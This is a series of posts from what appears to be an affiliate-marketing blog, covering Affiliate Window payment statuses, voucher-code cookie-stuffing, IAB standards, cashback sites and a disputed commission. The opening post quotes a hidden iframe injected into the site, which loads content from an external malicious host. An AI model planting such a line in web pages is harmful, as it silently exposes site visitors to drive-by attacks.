Yesterday we had a problem where this site was infected with two lines of code linking to an iframe on an external server.
<iframe width=”125“ height=”125“ style=”visibility: hidden;“ src=”http://a3l.ru:8080/ts/in.cgi?pepsi85“>
Other sites on the same server were also affected. A particular problem was wordpress sites like this one which stopped serving pages and instead threw errors.
Deleting the iframe from the affected files solved the problem.
Following on from the previous post, StopBadware.org have issued a statement saying that they do NOT provide the badware data to Google. The huge number of people who received ‘This Site May Harm Your Computer’ links to StopBadware.org for more information created a Denial of Service attack on the site and caused confused users to be shown an Internal Server Error message.
It appears that both Google and StopBadware.org have now agreed that the error lies with Google and that human error was to blame.
I was very confused yesterday when every site returned for any Google search was saying ‘this site may harm your computer’. Thinking this must be the result of some kind of spyware/adware on my laptop I ran every test I could think of and checked out all of the processes running on my machine.
It turns out that the actual reason was Google’s fault. All domains were affected as the domain ‘/’ was added to the list of unsafe domains. Whilst mistakes do happen, I am very suprised that Google don’t have more safeguards in place to prevent a massive error like this getting through.
Payment Status Traffic Light System
This week saw the introduction of Affiliate Window’s new payment system. Each merchant now has a payment status displayed in three places; the merchant directory, the merchant information page and on transaction reports.
The traffic light colours have the following meaning:
Green:
- Merchant has an up to date payment record and no payment restrictions.
- Affiliates will be paid for all approved commissions regardless of when the merchant pays Affiliate Window.
Note: This is the equivalent to the old payment system and the majority of merchants on the network carry this status.
Amber:
- Merchant has longer than standard payment terms, is overdue on some invoices or has little or no credit insurance limit.
- Affiliates will be paid for approved commissions only when payment for corresponding invoices has been received by Affiliate Window.
- It may take longer for affiliates to receive money from amber rated merchants.
Note: This is the equivalent to the payment system operated by the majority of Affiliate Window’s competitors.
Red:
- Merchant has no credit insurance limit, a series of overdue invoices and may be in financial difficulty.
- Approved commissions will only be paid when Affiliate Window have been paid in full for all outstanding invoices.
Note: We would advise against promoting these merchants.
The introduction of this traffic light system sooner rather than later will hopefully allow merchants to make the necessary changes that can see their ranking adjust from Amber to Green. Therefore please note that this initial ranking is likely to change over the coming months and it would be worthwhile monitoring those proactive merchants who want to enhance their programme to affiliates.
“A ship in harbor is safe - but that is not what ships are for.” - John A. Shedd
To succeed in affiliate marketing you need to have self motivation and drive to succeed. If you are the kind of person who would rather put something off if it can wait until tomorrow, you might not be best suited to working for yourself. Getting a site to bring in a small amount of money which you can use to supplement your income isn’t too hard. If you create a blog or website about a subject which interests you and gradually add a few adverts, you might find you are pleasantly surprised by the amount of extra money you have in your bank account each month. However, this is unlikely to make you super rich or be a reliable source of income that allows you to quit the day job. It is possible to make a living from affiliate marketing, but you have to be driven by the desire to succeed and not be the kind of person to give up at the first hurdle. Almost certainly, you will waste a lot of time with projects that never take off and you have to be able to cope with this without getting disheartened.
“You’ve got to get up every morning with determination if you’re going to go to bed with satisfaction.” - George Horace Lorimer
One of the main mistakes people make when they first start out is in becoming obsessed with statistics. Yes only 90 people viewed your site today and it was 100 yesterday. Does that matter? Probably not if you look at the big picture! Whilst you need to keep on top of what is and what isn’t working, there is a great tendency to log into each affiliate network every 20 minutes just to see if any more sales/leads have appeared. This is similar to the problem of feeling you have to check you emails every 5 minutes in case there is anything important there and getting no work done as a result. At the start of each day you need to make a plan of what you want to achieve and if you fail to do this, you need to catch up and make more realistic targets in the future. Whilst day-to-day plans are useful you also need to have a long term aim or goal which you are striving to achieve.
Malcolm Red on self motivation.
Over the last few years many online shoppers have grown to the idea that they can bargain hunt by means of a digital voucher codes. There has been a steady emergence of voucher code websites that list all of the leading merchants in a directory style listing and offer discount codes for that site.
These types of sites are not all that they appear to be. Effectively they are designed to save you money, that much is true, but there is the dark side to these sites that you simply may not know. Of course you wouldn’t know because they won’t tell you, but they are stuffing computer cookies into your system by means of ‘forced clicking’.
Many of the voucher code websites hide the voucher code behind a link, they will ask you to click the link in order to reveal the voucher code, and when the link is clicked the merchant site is opened in a new window and the code is revealed on their own site. What you may not have realised is that when this link is clicked, a special piece of code called a ‘cookie’, will be placed into your computer system without your prior knowledge.
Cookies are small pieces of code usually created to remember passwords and browser history to save you having to keep logging into sites. The cookies dropped onto your machine can also be used to track online sales. If you were to go to Amazon through a link on a voucher code website, that link will drop a cookie into your machine that will tell Amazon that you found them through the voucher code site, hence it ‘remembers’ where you came from. If you were to go on and make a purchase from Amazon, then the owner(s) of the voucher code site would get a percentage based commission on that sale.
Hopefully, new guidelines which come into effect on 1st January 2009 should help to stop legitimate affiliates losing out to cookie-dropping voucher code sites.
Authors: Terrence Burrows and Think Affiliate
Terry Burrows is the owner of Shopastop.co.uk and has been in the online shopping field for nearly 5 years.
DGM Affiliates have 164 campaigns at the time of writing. These are mainly big names like 888.com, O2, Vodafone and other names which are big in their respected sectors. There are also smaller less well known merchants whom you may be aware of, but have not thought of advertising before. I don’t use DGM Pro frequently as I’ve never really had a desire to advertise any of the merchants they have enough to warrant moving away from my preferred networks. However, when I created Avoid Virgin Media recently, I thought I’d have a look into signing up to a few of their broadband merchants. Be There broadband has great reviews, so I thought I’d promote them. Overall my experiences using the DGM Pro interface are not very good. It might just be because it’s not what I’m used to, but it felt ‘clunky’ and hard to use. Just getting the banner ads was a pain and the reporting didn’t feel easy to use. I do like the stats given about merchants though:
DGM Pro Merchant Stats
I’d say it was worth signing up if there were particular merchants you wanted to promote, but I much prefer the interface with Affiliate Window.
Voucher code sites have been a point of contention amongst affiliates and merchants for many years. Whilst some act completely legitimately spending a large amount of time collecting voucher codes and keeping their databases up to date, some are abusing ‘click to reveal’ purely as a way to stuff cookies.
Collaborating through the AMC, the affiliate networks who are IAB members will adhere to the following set of standards from January 1st 2009.
- - Using ‘Click to Reveal’ when there is no valid or current code present is not permitted of affiliate publishers including using ‘Click to Reveal’ to show any deals/offers/sales instead of vouchers.
- - Voucher code affiliate publishers must clearly detail the voucher offer that will be revealed by the click.
- - A valid code is defined as a code that has been legitimately issued by a merchant for use online. This code will have an activation date and where necessary a deactivation date.
- - Voucher code directories must contain clear categorization and separation between deals/offers/sales and discount codes.
Is it considered acceptable for affiliates to refer people they know to merchants through their own affiliate links? I’m sure the answer to this question must be yes. How does it make any difference what channel is used to provide the merchant with sales/leads as long as it is legal and doesn’t undermine other marketing activities done by that merchant?
The reason I am taking such a strong stance on this, is that a few months ago somebody in a poker league that I play in asked me to recommend a site for them to play on. I recommended 888.com and pointed them in the direction of a page containing my affiliate link. I could have recommended any other site just as easily as 888.com and I think they would have signed up and deposited. As such, I believe that I have provided 888.com with a new player and that I deserve to be paid a commission for this. I know that the player was legitimate and playing on the site, so when no affiliate commission appeared in my account, I contacted Affiliate Window. They asked for the details of the transaction, which I provided for them on 19/09/08. I have now just been informed that:
“The transaction was declined because our system recognized a pattern of fraud in the player’s behavior, which goes against the company’s Ts & Cs.”
I have not been given any more details as to why the transaction was considered fraudulent, but have been told this information might not be available. I’m sorry, but this really isn’t acceptable. I normally hold Affiliate Window in great regards and frequently recommend them, but this time I think they should at least pressure the merchant into giving a good reason why the commission is not being paid.
I’ve made a post on affiliates4u forum, and I’ll update when any more details come through.
It wasn’t long after the birth of affiliate marketing that cashback sites started to appear. These are sites which offer consumers a refund on items they purchase, through the use of affiliate schemes. For example, if a merchant were to run an affiliate program, offering affiliates a 10% commission on all sales, a cashback site could offer consumers anywhere up to 10% off their order value. From the merchant’s point of view, it is still worth paying a commission in the form of a refund to the buyer if it results in a new sale. At first glance, this appears to be a system which benefits everybody. Merchants get extra sales, affiliate networks get extra commissions, and consumers get a better deal. However, the person who loses out is the affiliate who might have already referred the customer.
If a review site is funded by affiliate revenue, they expect that if any of their visitors go on to make a purchase based on their reviews, they should receive a commission. If at the point the visitor was about to make a purchase, they then went through a cashback site, the most recent cookie would be overwritten. This means that the affiliate has gone to all of the work of getting the customer to the point of sale, for the cashback site to take the credit. There is evidence to suggest that people just use cashback sites at the point of purchase. The earnings per click for some merchants is up to 5 times higher for incentivised traffic, suggesting that they only go through the cashback site when they are intending to make a purchase. Is it right that affiliates are being denied commissions because of cashback being a more attractive incentive to purchase?
